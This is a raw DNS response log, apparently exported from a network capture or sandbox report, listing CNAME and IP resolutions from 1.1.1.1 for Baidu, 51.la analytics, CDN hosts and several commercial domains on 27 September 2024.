Sep 27, 2024 05:50:38.415605068 CEST	1.1.1.1	192.168.2.5	0x995b	No error (0)	push.zhanzhang.baidu.com	share.jomodns.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:38.415605068 CEST	1.1.1.1	192.168.2.5	0x995b	No error (0)	share.jomodns.com	share.n.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:38.415605068 CEST	1.1.1.1	192.168.2.5	0x995b	No error (0)	share.n.shifen.com		182.61.244.229	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:38.415605068 CEST	1.1.1.1	192.168.2.5	0x995b	No error (0)	share.n.shifen.com		14.215.182.161	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:38.415605068 CEST	1.1.1.1	192.168.2.5	0x995b	No error (0)	share.n.shifen.com		39.156.68.163	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:38.415605068 CEST	1.1.1.1	192.168.2.5	0x995b	No error (0)	share.n.shifen.com		112.34.113.148	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:38.415605068 CEST	1.1.1.1	192.168.2.5	0x995b	No error (0)	share.n.shifen.com		163.177.17.97	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:38.415605068 CEST	1.1.1.1	192.168.2.5	0x995b	No error (0)	share.n.shifen.com		180.101.212.103	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:38.415605068 CEST	1.1.1.1	192.168.2.5	0x995b	No error (0)	share.n.shifen.com		182.61.201.93	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:38.415605068 CEST	1.1.1.1	192.168.2.5	0x995b	No error (0)	share.n.shifen.com		182.61.201.94	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:38.532314062 CEST	1.1.1.1	192.168.2.5	0x6f4f	No error (0)	collect-v6.51.la	collect-v6.51.la.d183e8b1.cdnhwcgqa21.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:38.532314062 CEST	1.1.1.1	192.168.2.5	0x6f4f	No error (0)	collect-v6.51.la.d183e8b1.cdnhwcgqa21.com	hcdnwsa120.v5.cdnhwczoy106.cn		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:38.600822926 CEST	1.1.1.1	192.168.2.5	0x4c08	No error (0)	push.zhanzhang.baidu.com	share.jomodns.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:38.600822926 CEST	1.1.1.1	192.168.2.5	0x4c08	No error (0)	share.jomodns.com	share.n.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:38.622613907 CEST	1.1.1.1	192.168.2.5	0x3a32	No error (0)	api.share.baidu.com	api.share.n.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:38.696623087 CEST	1.1.1.1	192.168.2.5	0xf5a9	No error (0)	ia.51.la	ia.51.la.d183e8b1.cdnhwcggk22.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:38.696623087 CEST	1.1.1.1	192.168.2.5	0xf5a9	No error (0)	ia.51.la.d183e8b1.cdnhwcggk22.com	hcdnwsa101.vip.cdnhwckon103.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:38.707108974 CEST	1.1.1.1	192.168.2.5	0x5461	No error (0)	sdk.51.la	sdk.51.la.d183e8b1.cdnhwcgqa21.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:38.707108974 CEST	1.1.1.1	192.168.2.5	0x5461	No error (0)	sdk.51.la.d183e8b1.cdnhwcgqa21.com	hcdnwsa120.v5.cdnhwczoy106.cn		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:39.147238016 CEST	1.1.1.1	192.168.2.5	0xc5ec	No error (0)	js.users.51.la	js.users.51.la.d183e8b1.cdnhwcgqa21.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:39.147238016 CEST	1.1.1.1	192.168.2.5	0xc5ec	No error (0)	js.users.51.la.d183e8b1.cdnhwcgqa21.com	hcdnwsa120.v5.cdnhwczoy106.cn		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:39.147238016 CEST	1.1.1.1	192.168.2.5	0xc5ec	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		148.153.240.75	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:39.147238016 CEST	1.1.1.1	192.168.2.5	0xc5ec	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		90.84.161.25	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:39.298749924 CEST	1.1.1.1	192.168.2.5	0x664d	No error (0)	collect-v6.51.la	collect-v6.51.la.d183e8b1.cdnhwcgqa21.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:39.298749924 CEST	1.1.1.1	192.168.2.5	0x664d	No error (0)	collect-v6.51.la.d183e8b1.cdnhwcgqa21.com	hcdnwsa120.v5.cdnhwczoy106.cn		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:39.298749924 CEST	1.1.1.1	192.168.2.5	0x664d	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		90.84.161.25	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:39.298749924 CEST	1.1.1.1	192.168.2.5	0x664d	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		148.153.240.75	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:39.455646992 CEST	1.1.1.1	192.168.2.5	0xba3a	No error (0)	collect-v6.51.la	collect-v6.51.la.d183e8b1.cdnhwcgqa21.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:39.455646992 CEST	1.1.1.1	192.168.2.5	0xba3a	No error (0)	collect-v6.51.la.d183e8b1.cdnhwcgqa21.com	hcdnwsa120.v5.cdnhwczoy106.cn		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:39.514377117 CEST	1.1.1.1	192.168.2.5	0xc2e	No error (0)	api.share.baidu.com	api.share.n.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:39.515258074 CEST	1.1.1.1	192.168.2.5	0xe529	No error (0)	api.share.baidu.com	api.share.n.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:39.515258074 CEST	1.1.1.1	192.168.2.5	0xe529	No error (0)	api.share.n.shifen.com		180.101.212.103	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:39.515258074 CEST	1.1.1.1	192.168.2.5	0xe529	No error (0)	api.share.n.shifen.com		182.61.201.93	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:39.515258074 CEST	1.1.1.1	192.168.2.5	0xe529	No error (0)	api.share.n.shifen.com		182.61.201.94	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:39.515258074 CEST	1.1.1.1	192.168.2.5	0xe529	No error (0)	api.share.n.shifen.com		182.61.244.229	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:39.515258074 CEST	1.1.1.1	192.168.2.5	0xe529	No error (0)	api.share.n.shifen.com		14.215.182.161	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:39.515258074 CEST	1.1.1.1	192.168.2.5	0xe529	No error (0)	api.share.n.shifen.com		39.156.68.163	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:39.515258074 CEST	1.1.1.1	192.168.2.5	0xe529	No error (0)	api.share.n.shifen.com		112.34.113.148	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:39.515258074 CEST	1.1.1.1	192.168.2.5	0xe529	No error (0)	api.share.n.shifen.com		163.177.17.97	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:39.536138058 CEST	1.1.1.1	192.168.2.5	0x3ddf	No error (0)	www.zhspay.com		50.3.213.5	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:39.649847984 CEST	1.1.1.1	192.168.2.5	0x9041	No error (0)	sdk.51.la	sdk.51.la.d183e8b1.cdnhwcgqa21.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:39.649847984 CEST	1.1.1.1	192.168.2.5	0x9041	No error (0)	sdk.51.la.d183e8b1.cdnhwcgqa21.com	hcdnwsa120.v5.cdnhwczoy106.cn		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:39.658591986 CEST	1.1.1.1	192.168.2.5	0x88e2	Server failure (2)	www.zhspay.com	none	none	65	IN (0x0001)	false
Sep 27, 2024 05:50:39.702586889 CEST	1.1.1.1	192.168.2.5	0x4d60	No error (0)	sdk.51.la	sdk.51.la.d183e8b1.cdnhwcgqa21.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:39.702586889 CEST	1.1.1.1	192.168.2.5	0x4d60	No error (0)	sdk.51.la.d183e8b1.cdnhwcgqa21.com	hcdnwsa120.v5.cdnhwczoy106.cn		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:39.702586889 CEST	1.1.1.1	192.168.2.5	0x4d60	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		148.153.240.75	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:39.702586889 CEST	1.1.1.1	192.168.2.5	0x4d60	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		90.84.161.25	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:39.730621099 CEST	1.1.1.1	192.168.2.5	0xcadc	No error (0)	js.users.51.la	js.users.51.la.d183e8b1.cdnhwcgqa21.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:39.730621099 CEST	1.1.1.1	192.168.2.5	0xcadc	No error (0)	js.users.51.la.d183e8b1.cdnhwcgqa21.com	hcdnwsa120.v5.cdnhwczoy106.cn		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:40.682261944 CEST	1.1.1.1	192.168.2.5	0x127b	No error (0)	ia.51.la	ia.51.la.d183e8b1.cdnhwcggk22.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:40.682261944 CEST	1.1.1.1	192.168.2.5	0x127b	No error (0)	ia.51.la.d183e8b1.cdnhwcggk22.com	hcdnwsa101.vip.cdnhwckon103.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:40.682261944 CEST	1.1.1.1	192.168.2.5	0x127b	No error (0)	hcdnwsa101.vip.cdnhwckon103.com		118.123.207.191	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:40.682261944 CEST	1.1.1.1	192.168.2.5	0x127b	No error (0)	hcdnwsa101.vip.cdnhwckon103.com		182.118.39.155	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:40.873466969 CEST	1.1.1.1	192.168.2.5	0xaf3a	No error (0)	ia.51.la	ia.51.la.d183e8b1.cdnhwcggk22.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:40.873466969 CEST	1.1.1.1	192.168.2.5	0xaf3a	No error (0)	ia.51.la.d183e8b1.cdnhwcggk22.com	hcdnwsa101.vip.cdnhwckon103.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:41.016813993 CEST	1.1.1.1	192.168.2.5	0x55a4	No error (0)	collect-v6.51.la	collect-v6.51.la.d183e8b1.cdnhwcgqa21.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:41.016813993 CEST	1.1.1.1	192.168.2.5	0x55a4	No error (0)	collect-v6.51.la.d183e8b1.cdnhwcgqa21.com	hcdnwsa120.v5.cdnhwczoy106.cn		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:41.016813993 CEST	1.1.1.1	192.168.2.5	0x55a4	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		148.153.240.75	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:41.016813993 CEST	1.1.1.1	192.168.2.5	0x55a4	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		90.84.161.25	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:41.017668962 CEST	1.1.1.1	192.168.2.5	0xc33d	No error (0)	collect-v6.51.la	collect-v6.51.la.d183e8b1.cdnhwcgqa21.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:41.017668962 CEST	1.1.1.1	192.168.2.5	0xc33d	No error (0)	collect-v6.51.la.d183e8b1.cdnhwcgqa21.com	hcdnwsa120.v5.cdnhwczoy106.cn		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:43.856690884 CEST	1.1.1.1	192.168.2.5	0x5176	No error (0)	collect-v6.51.la	collect-v6.51.la.d183e8b1.cdnhwcgqa21.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:43.856690884 CEST	1.1.1.1	192.168.2.5	0x5176	No error (0)	collect-v6.51.la.d183e8b1.cdnhwcgqa21.com	hcdnwsa120.v5.cdnhwczoy106.cn		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:43.857323885 CEST	1.1.1.1	192.168.2.5	0xb79	No error (0)	collect-v6.51.la	collect-v6.51.la.d183e8b1.cdnhwcgqa21.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:43.857323885 CEST	1.1.1.1	192.168.2.5	0xb79	No error (0)	collect-v6.51.la.d183e8b1.cdnhwcgqa21.com	hcdnwsa120.v5.cdnhwczoy106.cn		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:43.857323885 CEST	1.1.1.1	192.168.2.5	0xb79	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		90.84.161.25	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:43.857323885 CEST	1.1.1.1	192.168.2.5	0xb79	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		148.153.240.75	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:44.189627886 CEST	1.1.1.1	192.168.2.5	0xce18	No error (0)	ia.51.la	ia.51.la.d183e8b1.cdnhwcggk22.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:44.189627886 CEST	1.1.1.1	192.168.2.5	0xce18	No error (0)	ia.51.la.d183e8b1.cdnhwcggk22.com	hcdnwsa101.vip.cdnhwckon103.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:44.189627886 CEST	1.1.1.1	192.168.2.5	0xce18	No error (0)	hcdnwsa101.vip.cdnhwckon103.com		118.123.207.191	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:44.189627886 CEST	1.1.1.1	192.168.2.5	0xce18	No error (0)	hcdnwsa101.vip.cdnhwckon103.com		182.118.39.155	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:44.382332087 CEST	1.1.1.1	192.168.2.5	0x413e	No error (0)	sdk.51.la	sdk.51.la.d183e8b1.cdnhwcgqa21.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:44.382332087 CEST	1.1.1.1	192.168.2.5	0x413e	No error (0)	sdk.51.la.d183e8b1.cdnhwcgqa21.com	hcdnwsa120.v5.cdnhwczoy106.cn		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:44.382332087 CEST	1.1.1.1	192.168.2.5	0x413e	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		90.84.161.25	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:44.382332087 CEST	1.1.1.1	192.168.2.5	0x413e	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		148.153.240.75	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:44.383761883 CEST	1.1.1.1	192.168.2.5	0xf1a8	No error (0)	sdk.51.la	sdk.51.la.d183e8b1.cdnhwcgqa21.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:44.383761883 CEST	1.1.1.1	192.168.2.5	0xf1a8	No error (0)	sdk.51.la.d183e8b1.cdnhwcgqa21.com	hcdnwsa120.v5.cdnhwczoy106.cn		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:44.469624043 CEST	1.1.1.1	192.168.2.5	0xd266	No error (0)	ia.51.la	ia.51.la.d183e8b1.cdnhwcggk22.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:44.469624043 CEST	1.1.1.1	192.168.2.5	0xd266	No error (0)	ia.51.la.d183e8b1.cdnhwcggk22.com	hcdnwsa101.vip.cdnhwckon103.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:45.817140102 CEST	1.1.1.1	192.168.2.5	0xebf5	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:45.817140102 CEST	1.1.1.1	192.168.2.5	0xebf5	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:52.584959030 CEST	1.1.1.1	192.168.2.5	0xbd69	Server failure (2)	www.hbyczyz.com	none	none	65	IN (0x0001)	false
Sep 27, 2024 05:50:52.706796885 CEST	1.1.1.1	192.168.2.5	0xc5ff	No error (0)	www.hbyczyz.com		50.2.64.137	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:53.087878942 CEST	1.1.1.1	192.168.2.5	0xad08	Server failure (2)	www.hbyczyz.com	none	none	65	IN (0x0001)	false
Sep 27, 2024 05:50:54.420885086 CEST	1.1.1.1	192.168.2.5	0x9290	No error (0)	js.users.51.la	js.users.51.la.d183e8b1.cdnhwcgqa21.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:54.420885086 CEST	1.1.1.1	192.168.2.5	0x9290	No error (0)	js.users.51.la.d183e8b1.cdnhwcgqa21.com	hcdnwsa120.v5.cdnhwczoy106.cn		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:54.591733932 CEST	1.1.1.1	192.168.2.5	0xcc8d	No error (0)	www.uapp360.com		50.3.213.78	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:54.755712032 CEST	1.1.1.1	192.168.2.5	0xe1ba	No error (0)	js.users.51.la	js.users.51.la.d183e8b1.cdnhwcgqa21.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:54.755712032 CEST	1.1.1.1	192.168.2.5	0xe1ba	No error (0)	js.users.51.la.d183e8b1.cdnhwcgqa21.com	hcdnwsa120.v5.cdnhwczoy106.cn		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:54.755712032 CEST	1.1.1.1	192.168.2.5	0xe1ba	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		148.153.240.75	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:54.755712032 CEST	1.1.1.1	192.168.2.5	0xe1ba	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		90.84.161.25	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:54.886028051 CEST	1.1.1.1	192.168.2.5	0x2373	Server failure (2)	www.uapp360.com	none	none	65	IN (0x0001)	false
Sep 27, 2024 05:50:55.137953997 CEST	1.1.1.1	192.168.2.5	0x609	No error (0)	www.strlaser.com	201.shutime.cn		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:55.137953997 CEST	1.1.1.1	192.168.2.5	0x609	No error (0)	201.shutime.cn		211.149.140.201	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:55.482495070 CEST	1.1.1.1	192.168.2.5	0x9fc7	No error (0)	www.strlaser.com	201.shutime.cn		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:55.794841051 CEST	1.1.1.1	192.168.2.5	0x58bd	No error (0)	website-ishutime.oss-cn-chengdu.aliyuncs.com		47.108.5.198	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:57.131530046 CEST	1.1.1.1	192.168.2.5	0x8055	No error (0)	hm.baidu.com	hm.e.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:57.131530046 CEST	1.1.1.1	192.168.2.5	0x8055	No error (0)	hm.e.shifen.com		111.45.11.83	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:57.131530046 CEST	1.1.1.1	192.168.2.5	0x8055	No error (0)	hm.e.shifen.com		14.215.182.140	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:57.131530046 CEST	1.1.1.1	192.168.2.5	0x8055	No error (0)	hm.e.shifen.com		14.215.183.79	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:57.131530046 CEST	1.1.1.1	192.168.2.5	0x8055	No error (0)	hm.e.shifen.com		111.45.3.198	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:57.131530046 CEST	1.1.1.1	192.168.2.5	0x8055	No error (0)	hm.e.shifen.com		183.240.98.228	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:57.131583929 CEST	1.1.1.1	192.168.2.5	0x73c5	No error (0)	hm.baidu.com	hm.e.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:57.187784910 CEST	1.1.1.1	192.168.2.5	0xe448	No error (0)	ia.51.la	ia.51.la.d183e8b1.cdnhwcggk22.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:57.187784910 CEST	1.1.1.1	192.168.2.5	0xe448	No error (0)	ia.51.la.d183e8b1.cdnhwcggk22.com	hcdnwsa101.vip.cdnhwckon103.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:57.187784910 CEST	1.1.1.1	192.168.2.5	0xe448	No error (0)	hcdnwsa101.vip.cdnhwckon103.com		118.123.207.191	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:57.187784910 CEST	1.1.1.1	192.168.2.5	0xe448	No error (0)	hcdnwsa101.vip.cdnhwckon103.com		182.118.39.155	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:57.188384056 CEST	1.1.1.1	192.168.2.5	0x85d5	No error (0)	ia.51.la	ia.51.la.d183e8b1.cdnhwcggk22.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:57.188384056 CEST	1.1.1.1	192.168.2.5	0x85d5	No error (0)	ia.51.la.d183e8b1.cdnhwcggk22.com	hcdnwsa101.vip.cdnhwckon103.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:57.200803995 CEST	1.1.1.1	192.168.2.5	0x46c5	No error (0)	sdk.51.la	sdk.51.la.d183e8b1.cdnhwcgqa21.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:57.200803995 CEST	1.1.1.1	192.168.2.5	0x46c5	No error (0)	sdk.51.la.d183e8b1.cdnhwcgqa21.com	hcdnwsa120.v5.cdnhwczoy106.cn		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:57.200803995 CEST	1.1.1.1	192.168.2.5	0x46c5	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		148.153.240.75	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:57.200803995 CEST	1.1.1.1	192.168.2.5	0x46c5	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		90.84.161.25	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:57.201672077 CEST	1.1.1.1	192.168.2.5	0xf994	No error (0)	sdk.51.la	sdk.51.la.d183e8b1.cdnhwcgqa21.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:57.201672077 CEST	1.1.1.1	192.168.2.5	0xf994	No error (0)	sdk.51.la.d183e8b1.cdnhwcgqa21.com	hcdnwsa120.v5.cdnhwczoy106.cn		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:57.202877998 CEST	1.1.1.1	192.168.2.5	0x6d61	No error (0)	zz.bdstatic.com	sslzz.jomodns.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:57.478296995 CEST	1.1.1.1	192.168.2.5	0x843	No error (0)	zz.bdstatic.com	sslzz.jomodns.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:57.478296995 CEST	1.1.1.1	192.168.2.5	0x843	No error (0)	sslzz.jomodns.com		58.254.150.48	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:58.464859009 CEST	1.1.1.1	192.168.2.5	0x9c89	No error (0)	website-ishutime.oss-cn-chengdu.aliyuncs.com		47.108.5.198	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:58.558342934 CEST	1.1.1.1	192.168.2.5	0x78ab	No error (0)	collect-v6.51.la	collect-v6.51.la.d183e8b1.cdnhwcgqa21.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:58.558342934 CEST	1.1.1.1	192.168.2.5	0x78ab	No error (0)	collect-v6.51.la.d183e8b1.cdnhwcgqa21.com	hcdnwsa120.v5.cdnhwczoy106.cn		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:58.558342934 CEST	1.1.1.1	192.168.2.5	0x78ab	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		90.84.161.25	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:58.558342934 CEST	1.1.1.1	192.168.2.5	0x78ab	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		148.153.240.75	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:59.538316965 CEST	1.1.1.1	192.168.2.5	0x5ba3	No error (0)	collect-v6.51.la	collect-v6.51.la.d183e8b1.cdnhwcgqa21.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:59.538316965 CEST	1.1.1.1	192.168.2.5	0x5ba3	No error (0)	collect-v6.51.la.d183e8b1.cdnhwcgqa21.com	hcdnwsa120.v5.cdnhwczoy106.cn		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:59.650110006 CEST	1.1.1.1	192.168.2.5	0x334a	No error (0)	www.strlaser.com	201.shutime.cn		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:59.650110006 CEST	1.1.1.1	192.168.2.5	0x334a	No error (0)	201.shutime.cn		211.149.140.201	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:51:00.494465113 CEST	1.1.1.1	192.168.2.5	0x2dd	No error (0)	sp0.baidu.com	www.a.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:51:00.494465113 CEST	1.1.1.1	192.168.2.5	0x2dd	No error (0)	www.a.shifen.com	www.wshifen.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:51:00.494465113 CEST	1.1.1.1	192.168.2.5	0x2dd	No error (0)	www.wshifen.com		103.235.47.188	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:51:00.494465113 CEST	1.1.1.1	192.168.2.5	0x2dd	No error (0)	www.wshifen.com		103.235.46.96	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:51:00.620481968 CEST	1.1.1.1	192.168.2.5	0x73af	No error (0)	zz.bdstatic.com	sslzz.jomodns.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:51:00.620481968 CEST	1.1.1.1	192.168.2.5	0x73af	No error (0)	sslzz.jomodns.com		58.254.150.48	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:51:00.661767006 CEST	1.1.1.1	192.168.2.5	0xd1c0	No error (0)	zz.bdstatic.com	sslzz.jomodns.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:51:00.706383944 CEST	1.1.1.1	192.168.2.5	0xdc69	No error (0)	sp0.baidu.com	www.a.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:51:00.706383944 CEST	1.1.1.1	192.168.2.5	0xdc69	No error (0)	www.a.shifen.com	www.wshifen.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:51:00.847435951 CEST	1.1.1.1	192.168.2.5	0x7d4e	No error (0)	www.strlaser.com	201.shutime.cn		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:51:01.246618986 CEST	1.1.1.1	192.168.2.5	0x3bc4	No error (0)	www.zhspay.com		50.3.213.5	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:51:01.329430103 CEST	1.1.1.1	192.168.2.5	0xf32	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:51:01.329430103 CEST	1.1.1.1	192.168.2.5	0xf32	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:51:01.577800035 CEST	1.1.1.1	192.168.2.5	0xaf87	Server failure (2)	www.zhspay.com	none	none	65	IN (0x0001)	false
Sep 27, 2024 05:51:02.557487965 CEST	1.1.1.1	192.168.2.5	0xfa14	No error (0)	sp0.baidu.com	www.a.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:51:02.557487965 CEST	1.1.1.1	192.168.2.5	0xfa14	No error (0)	www.a.shifen.com	www.wshifen.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:51:02.557487965 CEST	1.1.1.1	192.168.2.5	0xfa14	No error (0)	www.wshifen.com		103.235.46.96	A (IP address)	IN (0x0001)	false
